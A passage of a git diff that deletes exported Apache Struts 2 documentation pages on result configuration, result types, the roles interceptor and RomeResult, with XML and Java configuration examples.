-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14118">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14118">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14118">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14118">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14118">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488973719309 {padding: 0px;}
-div.rbtoc1488973719309 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488973719309 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488973719309">
-<ul class="toc-indentation"><li><a shape="rect" href="#ResultConfiguration-ResultElements">Result Elements</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#ResultConfiguration-IntelligentDefaults">Intelligent Defaults</a></li><li><a shape="rect" href="#ResultConfiguration-Multiplenames">Multiple names</a></li></ul>
-</li><li><a shape="rect" href="#ResultConfiguration-GlobalResults">Global Results</a></li><li><a shape="rect" href="#ResultConfiguration-DynamicResults">Dynamic Results</a></li><li><a shape="rect" href="#ResultConfiguration-ReturningResultObjects">Returning Result Objects</a></li></ul>
-</div><p>When an <a shape="rect" href="action.html">action</a> class method completes, it returns a String. The value of the String is used to select a result element. An action mapping will often have a set of results representing different possible outcomes. A standard set of result tokens are defined by the <code>ActionSupport</code> base class.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Predef [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">String SUCCESS = "success";
-String NONE    = "none";
-String ERROR   = "error";
-String INPUT   = "input";
-String LOGIN   = "login";
-</pre>
-</div></div><p>Of course, applications can define other result tokens to match specific cases.</p><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> Returning <code><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/struts2-core/apidocs/com/opensymphony/xwork2/Action.html#NONE">ActionSupp [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;result-types&gt;
-   &lt;result-type name="dispatcher" default="true"
-                class="org.apache.struts2.dispatcher.ServletDispatcherResult" /&gt;
-&lt;/result-types&gt;</pre>
-</div></div><p>If a <code>type</code> attribute is not specified, the framework will use the default <code>dispatcher</code> type, which forwards to another web resource. If the resource is a JavaServer Page, then the container will render it, using its JSP engine.</p><p>Likewise if the <code>name</code> attribute is not specified, the framework will give it the name "success".</p><p>Using these intelligent defaults, the most often used result types also become the simplest.</p><div clas [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result name="success" type="dispatcher"&gt;
-    &lt;param name="location"&gt;/ThankYou.jsp&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>A Result element using some defaults</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result&gt;
-    &lt;param name="location"&gt;/ThankYou.jsp&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>The <code>param</code> tag sets a property on the Result object. The most commonly-set property is <code>location</code>, which usually specifies the path to a web resources. The <code>param</code> attribute is another intelligent default.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Result element using more defaults</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result&gt;/ThankYou.jsp&lt;/result&gt;
-</pre>
-</div></div><p>Mixing results with intelligent defaults with other results makes it easier to see the "critical path".</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Multiple Results</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="Hello"&gt;
-    &lt;result&gt;/hello/Result.jsp&lt;/result&gt;
-    &lt;result name="error"&gt;/hello/Error.jsp&lt;/result&gt;
-    &lt;result name="input"&gt;/hello/Input.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div><p>A special 'other' result can be configured by adding a result with name="*". This result will only be selected if no result is found with a matching name.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>'*' Other Result</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="Hello"&gt;
-    &lt;result&gt;/hello/Result.jsp&lt;/result&gt;
-    &lt;result name="error"&gt;/hello/Error.jsp&lt;/result&gt;
-    &lt;result name="input"&gt;/hello/Input.jsp&lt;/result&gt;
-    &lt;result name="*"&gt;/hello/Other.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> The name="*" is <strong>not</strong> a wildcard pattern, it is a special name that is only selected if an exact match is not found.</p><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9 [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="save"&gt;
-    &lt;result&gt;success.jsp&lt;/result&gt;
-    &lt;result name="error, input"&gt;input-form.jsp&lt;/result&gt;
-&lt;/action&gt;</pre>
-</div></div><p>Such functionality was added in Struts 2.5</p><h2 id="ResultConfiguration-GlobalResults">Global Results</h2><p>Most often, results are nested with the action element. But some results apply to multiple actions. In a secure application, a client might try to access a page without being authorized, and many actions may need access to a "logon" result.</p><p>If actions need to share results, a set of global results can be defined for each package. The framework will first loo [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;global-results&gt;
-    &lt;result name="error"&gt;/Error.jsp&lt;/result&gt;
-    &lt;result name="invalid.token"&gt;/Error.jsp&lt;/result&gt;
-    &lt;result name="login" type="redirectAction"&gt;Logon!input&lt;/result&gt;
-&lt;/global-results&gt;
-</pre>
-</div></div><p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more about results, see <a shape="rect" href="result-types.html">Result Types</a>.</p><h2 id="ResultConfiguration-DynamicResults">Dynamic Results</h2><p>A result may not be known until execution time. Consider the implementation of a state-mach [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private String nextAction;
-
-public String getNextAction() {
-    return nextAction;
-}
-</pre>
-</div></div><p>you might define a result like this:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>FragmentAction configuration</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="fragment" class="FragmentAction"&gt;
-    &lt;result name="next" type="redirectAction"&gt;${nextAction}&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div><p>If a <code>FragmentAction</code> method returns "next" the actual <em>value</em> of that result will be whatever is in <code>FragmentAction</code>'s <code>nextAction</code> property. So <code>nextAction</code> may be computed based on whatever state information necessary then passed at runtime to "next"'s <code>redirectAction</code>.</p><p>See <a shape="rect" href="parameters-in-configuration-results.html">Parameters in configuration results</a> for an expanded discussion. [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public Result runAction() {
-	ServletDispatcherResult result = new ServletDispatcherResult();
-	result.setLocation("input-form.jsp");
-	return result;
-}</pre>
-</div></div><p>&#160;</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/result-types.html b/content/docs/result-types.html
deleted file mode 100644
index 15561e6..0000000
--- a/content/docs/result-types.html
+++ /dev/null
@@ -1,211 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Result Types</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Result Types</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14035">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14035">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14035">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14035">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14035">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14035">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Most use cases can be divided into two phases. First, we need to change or query the application's state, and then we need to present an updated view of the application. The Action class manages the application's state, and the Result Type manages the view.</p><h2 id="ResultTypes-PredefinedResultTypes">Predefined Result Types</h2><p>The framework provides several implementations of the <code>com.opensymphony.xwork2.Result</code> interface, ready [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="freemarker"&gt;foo.fm&lt;/result&gt;
-</pre>
-</div></div><p>That is the equivalent to this:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="freemarker"&gt;
-  &lt;param name="location"&gt;foo.vm&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>Since probably 95% of your actions won't need results that contain multiple parameters, this little shortcut saves you a significant amount of configuration. It also follows that if you have specified the default parameter, you don't need to set the same parameter as a specifically-named parameter.</p><h2 id="ResultTypes-RegisteringResultTypes">Registering Result Types</h2><p>All Result Types are plugged in via the <a shape="rect" href="result-configuration.html">Result Co [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class MyResult extends ServletDispatcherResult implements ParamNameAwareResult {
-
-    public boolean acceptableParamName(String name, String value) {
-        return "accept".equals(name);
-    }
-
-}
-</pre>
-</div></div><p>and then register it and use instead of default <code>dispatcher</code> result.</p><h2 id="ResultTypes-Next:">Next: <a shape="rect" href="dispatcherlistener.html">DispatcherListener</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/roles-interceptor.html b/content/docs/roles-interceptor.html
deleted file mode 100644
index ee18069..0000000
--- a/content/docs/roles-interceptor.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Roles Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="roles-interceptor.html">Roles Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Roles Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28547">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28547">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28547">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28547">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28547">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28547">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-This interceptor ensures that the action will only be executed if the user has the correct role.
-</p>
-
-<h2 id="RolesInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>allowedRoles - a comma-separated list of roles to allow</li></ul><p></p><ul><li>disallowedRoles - a comma-separated list of roles to disallow</li></ul><p></p>
-
-<p></p><p>
-When both allowedRoles and disallowedRoles are configured, then disallowedRoles
-takes precedence, applying the following logic: 
- (if ((inRole(role1) || inRole(role2) || ... inRole(roleN)) &amp;&amp;
-      !inRole(roleA) &amp;&amp; !inRole(roleB) &amp;&amp; ... !inRole(roleZ))
- { //permit ...
-</p>
-
-<h2 id="RolesInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- only allows the admin and member roles --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;interceptor-ref name=&quot;roles&quot;&gt;
-      &lt;param name=&quot;allowedRoles&quot;&gt;admin,member&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/romeresult.html b/content/docs/romeresult.html
deleted file mode 100644
index d4d7081..0000000
--- a/content/docs/romeresult.html
+++ /dev/null
@@ -1,293 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>RomeResult</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="romeresult.html">RomeResult</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
